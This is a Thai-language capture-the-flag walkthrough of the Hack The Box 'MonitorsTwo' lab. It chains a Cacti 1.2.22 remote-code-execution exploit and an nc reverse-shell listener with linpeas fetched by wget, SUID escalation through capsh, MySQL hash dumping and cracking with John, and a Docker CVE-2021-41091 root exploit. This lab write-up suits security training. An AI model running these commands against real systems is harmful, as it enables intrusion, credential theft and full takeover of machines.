สวัสดีครับคุณผู้อ่านทุกท่าน ผมจะพาไปลองแลป Monitor Two ของ Hack The Box ซึ่งเป็นแลปหมวด Open Beta Seasonal ครับ ไม่รอช้าเราไปเริ่มกันเลยครับบบบบบบบบ
Enumeration
NMAP — Network Scanner
ใช้ nmap เพื่อสแกนหาพอร์ตที่เครื่องเซิร์ฟเวอร์เปิดอยู่ เพื่อที่เราจะใช้มันเป็นช่องทางในการโจมตีเครื่องเป้าหมาย
nmap {target IP} -sV
- sV คือตัวเลือกที่เราใช้เพื่อแสดงเวอร์ชันของเซอร์วิสที่พอร์ตใช้งานอยู่
- {target IP} คือ เป้าหมายที่เราต้องการสแกน
เมื่อเรารู้ถึงพอร์ตที่เปิดแล้วก็ดูว่าเราสามารถทำอะไรกับพอร์ตนั้นได้บ้าง โดยพอร์ต 80 คือพอร์ตที่ให้บริการ HTTP เว็บเซิร์ฟเวอร์ เวอร์ชันของเว็บเซิร์ฟเวอร์คือ nginx 1.18.0 ซึ่งเมื่อลองเปิดเว็บเบราว์เซอร์ด้วย IP เป้าหมาย จะพบกับหน้าเว็บเป้าหมาย ดังรูป
จากการสำรวจหน้าเว็บเพจของเป้าหมาย เราได้พบเบาะแสที่จะนำเราไปต่อได้ คือ cacti version 1.2.22
หลังจากได้หาข้อมูลเพิ่มเติมในอากู๋ ผมก็ได้พบ https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
อ่านเพิ่มเติมเกี่ยวกับ CVE-2022–46169 ได้ที่ https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/
โดยวิธีใช้นั้นง่ายมาก เปิด listening port รอ แล้วใช้ python รันสคริปต์เราก็จะได้เชลล์กลับมา ไปเริ่มกันเล้ย
ก่อนอื่นดาวน์โหลดไฟล์สคริปต์จาก github มาก่อน โดยใช้คำสั่ง wget
wget {github url/file.py}
หลังจากนั้น ลองรันโดยใช้ python
python3 CVE-2022–46169.py -h
เรารู้แล้วว่าจะใช้สคริปต์อย่างไร จากนั้น ก็เปิด listening port รอรับการเชื่อมต่อที่จะมาถึง โดยใช้ nc
nc -lnvp 4444
จากนั้นก็รันสคริปต์ได้เล้ยยย
python3 CVE-2022–46169.py -u http://{target IP} –LHOST={local host IP} LPORT={local listening port}
โดย
- u และตามด้วย {target IP} คือ เครื่องเป้าหมาย
- LHOST คือ เครื่องเราที่จะทำการรับการเชื่อมต่อกลับมานั่นเอง
- LPORT คือ พอร์ตที่เราจะเปิดรับการเชื่อมต่อนั่นเอง
ได้เชลล์แล้ว
แต่ถึงอย่างนั้น ก็ยังอยู่ในสิทธิ์ต่ำ เราต้องยกระดับสิทธิ์ของเราต่อ
โดยวิธีการยกระดับสิทธิ์ก็ โยน linpeas ไปโลดด
Privilege Escalation (Docker Container)
ก่อนอื่นเราต้องรู้ก่อนว่าเครื่องเป้าหมายมีอะไรให้เราใช้บ้าง ไล่เช็กเลยย
หลังจากไล่เช็ก เรารู้ว่าสามารถใช้ wget ได้ ก็ลุยเลยครับ โดยวิธีของผมจะเป็นการโยนไฟล์ linpeas.sh จากเครื่องเราเองไปยังเครื่องเป้าหมาย เริ่มจากเปิด python http server บนเครื่องเรา ใน Directory ที่มีไฟล์ linpeas.sh อยู่ ที่พอร์ต 8000 ด้วยคำสั่ง
python3 -m http.server 8000
Directory ที่ดาวน์โหลดไฟล์ไป จำเป็นต้องเป็น Directory ที่เรามีสิทธิ์เขียนไฟล์ด้วยนะครับ โดยผมจะเลือกเป็น /tmp Directory
หลังจากนั้น เราก็เริ่มดาวน์โหลดไฟล์ linpeas.sh ไปยังเครื่องเป้าหมายได้เล้ย ด้วยคำสั่ง
wget http://{LHOST}:8000/linpeas.sh
เพิ่มสิทธิ์ให้ไฟล์ linpeas.sh สามารถ execute ได้ด้วยคำสั่ง
chmod +x linpeas.sh
แล้วตามด้วยคำสั่ง
./linpeas.sh
เพื่อทำการ execute นั่นเอง
จากนั้นเราก็หาวิธีการยกระดับสิทธิ์จากผลลัพธ์ของ linpeas โดยวิธีที่ผมใช้ในแล็บนี้ก็คือ SUID ด้วย capsh
ไปยัง https://gtfobins.github.io/ แล้วเลือก capsh , suid
หลังจากใช้คำสั่ง
./capsh –gid=0 –uid=0 –
เราจะได้สิทธิ์ root ทันที
หลังจากนั้นก็ไปเอา flag ได้เลยย
โดยปกติ flag ของ hackthebox จะอยู่แยกกัน user.txt หรือ flag ของสิทธิ์ user จะอยู่ที่ /home/{user} และ root.txt จะอยู่ที่ /root/
แต่หลังจากเราได้หา flag ที่ Directory ดังกล่าวกลับไม่พบอะไรเลย
ผมจึงคิดว่าเราไม่ได้อยู่บนเครื่องหลัก แต่อยู่บน Docker container
วิธีที่ผมใช้เพื่อเช็ก คือ คำสั่ง
hostname
โดยหากผลลัพธ์ออกมาเป็น docker container ID แทนที่จะเป็น hostname ของเครื่องเครื่องนั้น ก็หมายถึงเราอยู่บน docker container นั่นเอง
และใช่ เราอยู่บน Docker container
จากนั้นเรากลับไปเก็บตกหรือ Enumeration ผลลัพธ์ของ linpeas อีกรอบ
พบว่า มีไฟล์น่าสนใจ ชื่อ entrypoint.sh
และเมื่อเราดูเนื้อหาข้างในไฟล์ entrypoint.sh
จะพบว่าไฟล์ entrypoint.sh นี้ใช้รันคำสั่ง mysql ซึ่งเป็นคำสั่งสำหรับเชื่อมต่อกับฐานข้อมูล MySQL
จากนั้นผมเลือกที่จะเขียนไฟล์ entrypoint.sh ใหม่ เพื่อให้ไฟล์ไปเรียก tables ออกมา
และเพิ่มสิทธิ์ไฟล์ entrypoint.sh โดยคำสั่ง
chmod +x entrypoint.sh
แล้วก็ทำการรันตัวของ entrypoint.sh ได้เลย
ผลลัพธ์ คือ ได้ชื่อของ tables มา
จะเห็น table ที่น่าสนใจคือ user_auth เราจึงลองดึงค่าใน table นี้ออกมา
โดยเปลี่ยนเนื้อหาในไฟล์ enrtrypoint.sh เป็น
select * from user_auth
และได้ผลลัพธ์ออกมาเป็น username และ password โดยมี admin , guest และ marcus จากนั้น วิธีการทำผมใช้คือ นำ พาสเวิร์ดที่เป็นแฮชไปใส่ไฟล์ แล้วใช้ John The Ripper ในการย้อนแฮชเพื่อดูค่าเดิมก่อนถูกแฮช หรือ Plaintext ด้วยคำสั่ง
john {hash file} -w={wordlists}
- w คือ wordlists file ซึ่งผมใส่เป็น
/usr/share/wordlists/rockyou.txt
- {hashfile} คือ ไฟล์ที่ใส่ค่าแฮชก่อนหน้าเอาไว้
โดยค่าที่ผมใช้เป็นค่าแฮชของยูเซอร์ Marcus
ซึ่งได้ผลลัพธ์เป็น
`funkymonkey`
จากนั้นถ้าเราจำกันได้ ตั้งแต่เราใช้ nmap เพื่อสแกนพอร์ต เราได้ผลลัพธ์ 2 พอร์ต คือ 22 , 80
ผมจึงลองนำค่าที่ได้ไปเข้า SSH (พอร์ต 22) โดยใช้คำสั่ง
`ssh marcus@{Target IP}`
และตามด้วย funkymonkey ซึ่งเป็นพาสเวิร์ด
จากนั้นจะเห็นว่าเราสามารถเข้าใช้งาน SSH ด้วยยูเซอร์ Marcus ได้
จากนั้นเราก็ไปหา flag ที่ Home Directory ของ Marcus ได้เลย
และก็ได้ user flag มาเรียบร้อย จากนั้นเราจะไปหา root flag กันต่อ
Privilege Escalation (Main Machine)
เริ่มจากเช็กสิทธิ์เราเอง
จากนั้นก็ โยน linpeas.sh สเต็ปเดิมครับ
คือใช้ wget ไฟล์ linpeas.sh มาแล้วเพิ่มสิทธิ์ให้กับไฟล์ linpeas.sh แล้วรันโลดด
โดยจุดที่ผมใช้เพื่อไปอยู่ที่ Mails
เมื่อลองเข้าไปดูเนื้อหาของไฟล์ดังกล่าวพบว่ามีการกล่าวถึง CVE หรือช่องโหว่ของระบบ
และเมื่อไล่ดูทั้ง 3 CVE เราจะได้ข้อมูลที่น่าสนใจเพื่อไปต่อซึ่งเป็นของ CVE-2021–41091
โดยตัวสคริปต์ที่ผมใช้อยู่ที่ https://github.com/UncleJ4ck/CVE-2021-41091
ผมได้ทำตามวิธีการดังกล่าว
โดยใน Docker Container เราใช้คำสั่ง
`chmod u+s /bin/bash`
ขั้นตอนต่อไป เราต้องโยนไฟล์ exp.sh ไปให้เครื่องเป้าหมายของเรา
วิธีที่ผมใช้คือ ใช้คำสั่ง git clone {github link} เพื่อโคลนไฟล์จาก github มาที่เครื่องเราก่อน
แล้วเปิด python http server เพื่อให้เครื่องเป้าหมายสามารถดาวน์โหลดไฟล์จากเครื่องเรา
ด้วยการใช้คำสั่ง wget
จากนั้นก็เพิ่มสิทธิ์ให้กับไฟล์ exp.sh ด้วยการใช้คำสั่ง
`chmod +x exp.sh`
จากนั้นรันโลดด
จากนั้นเราจะไปตามพาธดังกล่าวและ เรียก
`./bin/bash -p`
ตามคำแนะนำจากรูปข้างบน
จากนั้นเราก็ได้สิทธิ์ root แล้ว
ต่อไปก็ไปดูกันที่ /root เพื่อหา root.txt ที่เป็น flag ของสิทธิ์ root
ในที่สุดเราก็ได้ root flag แล้วครับ
เป็นอันสิ้นสุดครับบบบ
Conclusion
สำหรับโจทย์ Monitor Two ผมคิดว่าเป็นโจทย์ที่สนุก เนื่องจากอาจจะมีคนงงตรง flag มันไม่มี นั่นก็เพราะ อยู่ใน Docker นั่นเองง สำหรับมือใหม่ที่ผ่านทางมาก็หวังว่าจะได้รับประโยชน์จากบทความนี้ไม่มากก็น้อยนะครับ แล้วเจอกันครั้งหน้าครับผมมมมมม